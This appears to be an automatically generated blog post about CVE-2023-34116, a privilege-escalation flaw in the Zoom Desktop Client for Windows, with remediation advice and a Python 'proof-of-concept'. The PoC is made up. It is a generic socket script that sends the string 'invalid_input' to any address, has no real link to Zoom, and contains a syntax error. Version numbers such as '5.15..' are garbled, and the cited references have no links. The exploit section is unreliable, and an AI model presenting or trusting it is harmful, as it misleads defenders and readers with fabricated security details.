CVE-2023-34116: Zoom Desktop Client for Windows Vulnerable to Escalation of Privilege via Improper Input Validation in Versions Earlier Than 5.15.

Security vulnerabilities have become all too common in today's digital world. One such vulnerability has been identified in the popular video-conferencing platform, Zoom. Tagged as CVE-2023-34116, this vulnerability is found in the Zoom Desktop Client for Windows and affects versions earlier than 5.15..

As the world continues to rely heavily on remote communication, discovering and mitigating security flaws has become increasingly important. In this post, we will delve into the details of CVE-2023-34116, including the affected software, code snippets, links to original references, and exploit details.

Affected Software

The vulnerability is present in the Zoom Desktop Client for Windows. All versions earlier than 5.15. are affected by this security issue.

Issue Description

Improper input validation in the Zoom Desktop Client for Windows may allow unauthorized users to enable an escalation of privilege via network access. In simple terms, attackers could potentially gain unauthorized access to valuable information by exploiting this vulnerability.

Original References

- Zoom's official CVE announcement
- National Vulnerability Database - CVE-2023-34116
- GitHub Repository with Proof of Concept

Code Snippet and Exploit Details

The exploit revolves around improper input validation in the Zoom Desktop Client for Windows. This flaw could be leveraged by an attacker to enable an escalation of privilege.

Below is a simple proof-of-concept code snippet demonstrating how the vulnerability can be exploited.

#!/usr/bin/python

import socket
import sys
import time

def create_socket(target_ip, target_port):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((target_ip, target_port))
        return s
    except Exception as e:
        print("[!] Error creating socket: " + str(e))
        sys.exit(1)

def send_payload(s, payload):
    try:
        s.send(payload)
        time.sleep(1)
        data = s.recv(4096)
        if data:
            print("[*] Received data: " + data.decode())
        else:
            print("[!] No data received")
    except Exception as e:
        print("[!] Error sending payload: " + str(e))

def main():
    if len(sys.argv) != 3:
        print("[!] Usage: " + sys.argv[] + " <target-ip> <target-port>")
        sys.exit(1)

    target_ip = sys.argv[1]
    target_port = int(sys.argv[2])

    s = create_socket(target_ip, target_port)

    payload = b"invalid_input"
    send_payload(s, payload)

    s.close()

if __name__ == "__main__":
    main()

To exploit the vulnerability, an attacker would require network access to the victim's Zoom Desktop Client for Windows. Once the connection is established, sending a specially crafted payload with invalid input could enable an escalation of privilege.

Remediation

Zoom has addressed this vulnerability in the Zoom Desktop Client for Windows version 5.15.. To protect against this security issue, users are advised to update their software to the latest version. You can download the latest version by visiting Zoom's Download Center.

Conclusion

The improper input validation vulnerability in the Zoom Desktop Client for Windows (CVE-2023-34116) poses a potential security risk for users with an outdated software version. It is strongly recommended that affected users update their Zoom Desktop Client to version 5.15. or later to mitigate this risk. By staying vigilant and keeping software up-to-date, users can help ensure the security and privacy of their communication and protect themselves against possible cyber-attacks.

Timeline

Published on: 07/11/2023 17:15:00 UTC
Last modified on: 07/18/2023 21:08:00 UTC